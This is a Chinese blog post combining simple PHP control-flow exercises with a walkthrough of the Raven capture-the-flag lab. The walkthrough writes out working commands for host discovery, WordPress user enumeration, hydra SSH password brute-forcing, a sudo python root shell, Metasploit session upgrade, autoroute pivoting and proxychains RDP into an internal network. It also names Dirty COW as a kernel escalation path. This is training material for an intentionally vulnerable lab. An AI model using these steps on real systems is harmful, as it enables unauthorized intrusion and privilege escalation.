php数组练习与渗透测试初识

1、使用if语句实现如下效果,当成绩在60以上时为及格,60以下时为不及格

<meta charset="utf-8">

<?php

$goat1[] = 90;
$goat1[] = 59;
$goat1[] = 80;
$goat1[] = 24;

for ($i = 0; $i < count($goat1); $i++) {
if ($goat1[$i] >= 60) {
echo "恭喜你及格了,分数:" . $goat1[$i] . "<br>";
} else {
echo "非常遗憾没有及格,分数:" . $goat1[$i] . "<br>";
}
}
?>

image-20250813161005144

2、使用switch语句实现在浏览器端传递参数,number=1能够显示为一月,以及后续的月份

<meta charset="utf-8">

<?php

$month = $_GET['number'];

switch ($month) {
case '1':
print '1月' . '<br>';
break;
case '2':
print '2月' . '<br>';
break;
case '3':
print '3月' . '<br>';
break;
case '4':
print '4月' . '<br>';
break;
case '5':
print '5月' . '<br>';
break;
case '6':
print '6月' . '<br>';
break;
case '7':
print '7月' . '<br>';
break;
case '8':
print '8月' . '<br>';
break;
case '9':
print '9月' . '<br>';
break;
case '10':
print '10月' . '<br>';
break;
case '11':
print '11月' . '<br>';
break;
case '12':
print '12月' . '<br>';
break;
default:
print '输入范围错误' . '<br>';
break;
}

?>

image-20250813162338048

3、使用循环打印1-100的数字,要求当数字为17的整数倍时,不输出当前数字

<meta charset="utf-8">

<?php

for ($i = 1; $i < 101; $i++) {
if ($i % 17 == 0) {
continue;
}
echo $i . "<br>";
}

?>

image-20250813163205569

4、尝试通关Raven靶场,解释每一步操作的含义,以及当前步骤还可以有哪些渗透思路

首先打开nmap扫描局域网内的主机查看这个网段有多少存活主机,kali主机ip为192.168.142.132

(这里扫描存活主机还可以使用其他工具arp-scanmasscanfping等)

nmap -sn 192.168.142.0/24

image-20250711154450520

注意到有许多的ip,一个一个网页IP去访问,发现192.168.142.139这个IP可以访问到网站,那么可以确定这个就是目标主机了

image-20250711154640080

继续使用nmap扫描这个ip,,扫描出来了很多的信息,可以看到这台服务器的22端口开启,这个端口一般运行的是ssh服务,可以尝试通过这个端口爆破账号密码进行远程连接。

nmap -A 192.168.142.139

image-20250711154828628

由于上一步没有进行ssh爆破,这里接着进行目录扫描,扫描网站目录结构dirb http://192.168.142.139,发现一个wordpress目录。wordpress是一个开源的博客工具、发布平台和内容管理系统,那么网上肯定能看到这个系统的历史漏洞,还可以根据网络上提到的漏洞进行攻击。

image-20250711155221236

访问wordpress目录helloword超链接,发现被指向域名

image-20250711155604646

修改/etc/hosts文件,在文件里面新添加一行192.168.142.139 raven.local,让kali主机在解析raven.local这个域名时指向192.168.142.139这个地址

(还可以直接在浏览器输入http://192.168.142.139/wordpress/wp-login.php进行访问)

image-20250711155850784

继续扫描这个框架,使用wpscan工具wordpress的专用扫描器,发现存在两个用户:michael以及steven

(这里的用户是这个web应用的用户,不是这个linux系统的用户,但是这个靶场为了实验的方便将这两个用户也添加到了系统)

wpscan --url http://192.168.142.139/wordpress --wp-content-dir -at -eu

image-20250711160337404

现在开始爆破用户,首先是michael用户,在终端中输入。-l(小写)指定用户名若是大写L则是指定一个用户名集合的文件,-p同理)

使用破解成功的账户密码michael michael

hydra -l michael -P /usr/share/wordlists/rockyou.txt ssh://192.168.142.139

image-20250813183834181

接下来是steven用户,同样使用命令hydra -l steven -P /usr/share/wordlists/rockyou.txt ssh://192.168.142.139,steven用户在爆破密码时速度就比较慢了(steven用户密码为pink84)

这里先登录michael用户,发现michael用户没有sudo权限,那么走sudo权限这条路就行不通了

(如果sudo权限行不通,那么还可以试试 suid 提权,或是内核漏洞提权等操作)

ssh michael@192.168.142.139

image-20250711162554699

使用steven连接SSH,尝试用sudo -l
发现steven用户可以不用输入命令就能够使用python,在开发中python可以调用系统命令字,那么在这里可以使用python进行提权
可以看到提权后变成root用户了

ssh steven@192.168.142.139
sudo python -c 'import os; os.system("/bin/sh")'
# 这条命令是使用python的 os.system() 函数直接调用 /bin/sh,获得一个新的 root 权限的交互式 Shell

image-20250711162746610

为了模拟真实的内网环境这里新添加了一块网卡,此时需要我们自己去启动这个网卡

echo "auto eth1" >> /etc/network/interfaces			# 设置网卡 eth1 为自启动
echo "iface eth1 inet dhcp" >> /etc/network/interfaces # 让网卡 eth1 使用 DHCP 协议自动获取 IP 地址
ifconfig eth1 up # 立即手工启用网卡
systemctl restart networking

# 输入完后第二张网卡就启动了

接着在kali主机上输入命令,登录上raven服务器

msfconsole				# 开启 metasploit 工具
use auxiliary/scanner/ssh/ssh_login # 加载 Metasploit 自带的 SSH 登录扫描模块
set username michael # 输入登录的账号
set password michael # 输入登录账号的密码
set rhosts 192.168.142.139 # 输入目标主机
run

image-20250711163946218

获取session后,提升到meterpreter session:

sessions -l
sessions -u 1 # 重新获取一个连接,由于之前 shell 是普通 shell 不能够进行注入木马等操作,需要获得一个能够注入木马的 shell 以实现更多的操作
sessions -i 2

image-20250711164431647

接着设置自动路由将raven主机作为跳板

run post/multi/manage/autoroute			# 把跳板机发现的内网网段自动加入 Metasploit 路由
run autoroute -p # 查看/确认当前有哪些网段被自动路由到哪个会话
background # 使用ctrl+C会退出整个控制终端,使用这个命令只退出当前操作

image-20250711164613220

Metasploit 里启动一个内置的 SOCKS 代理服务器,让本地所有流量都能通过 Metasploit 已建立的会话转发到目标内网。

use auxiliary/server/socks_proxy			# 加载 metasploit 的代理模块
options # 查看/修改监听地址和端口
run

image-20250711165126309

配置流量客户端工具

vim /etc/proxychains4.conf
# 在文件中写入 socks5 127.0.0.1 1080,注意把上面的 socks4 注释下面的才能正常使用

image-20250711165406205

远程桌面连接内网主机

proxychains rdesktop -u admin -p 123456 192.168.75.128
# (proxychains这个命令是让其他部分命令的流量发送个proxychains这个工具)(目前使用失败)原因 rdesktop 对现代 TLS/SSL 协议的支持不足,如果是连接 win7 那么就能够成功连接

proxychains xfreerdp /u:admin /p:123456 /v:192.168.75.128 +sec-nla
# 这个命令使用成功(不过需要下载freerdp,sudo apt install freerdp2-x11)

# 实测proxychains xfreerdp /u:admin /p:123456 /v:192.168.75.128命令同样可行

image-20250711172047720

扩展1、使用else if优化第一题程序,90-100为优秀,80-89良好,60-79及格,60以下不及格,如果数字不在0-100范围之内如何解决

<meta charset="utf-8">

<?php

$goat1 = array(
111,
45,
24,
-123,
90,
86,
75,
44,
);

for ($i = 0; $i < count($goat1); $i++) {
if ($goat1[$i] >= 90 && $goat1[$i] <= 100) {
echo "优秀,分数:" . $goat1[$i] . "<br>";
} else if ($goat1[$i] >= 80 && $goat1[$i] < 90) {
echo "良好,分数:" . $goat1[$i] . "<br>";
} else if ($goat1[$i] >= 60 && $goat1[$i] < 79) {
echo "及格,分数:" . $goat1[$i] . "<br>";
} else if ($goat1[$i] >= 0 && $goat1[$i] < 60) {
echo "不及格,分数:" . $goat1[$i] . "<br>";
} else {
echo "错误分数:" . $goat1[$i] . "<br>";
}
}
?>

扩展2、尝试使用michael用户进行提权,结果不重要,截图体现自己的操作和思路

方法一:SUID提权

首先查看哪些文件具有suid权限

find / -perm -u=s -type f 2>/dev/null

image-20250813201442179

接下来可以上网搜索有哪些可以进行suid提权的办法

方法二:内核提权

uname -a			# 查看内核,可以尝试使用dirtycow提权
michael@Raven:~$ uname -a
Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux

Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux,这个内核版本存在多个高危漏洞

Dirty COW 提权(CVE-2016-5195)

OverlayFS 提权(CVE-2015-8660)

Author: wickt42
Link: http://example.com/2025/08/13/php数组练习与渗透测试初识/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.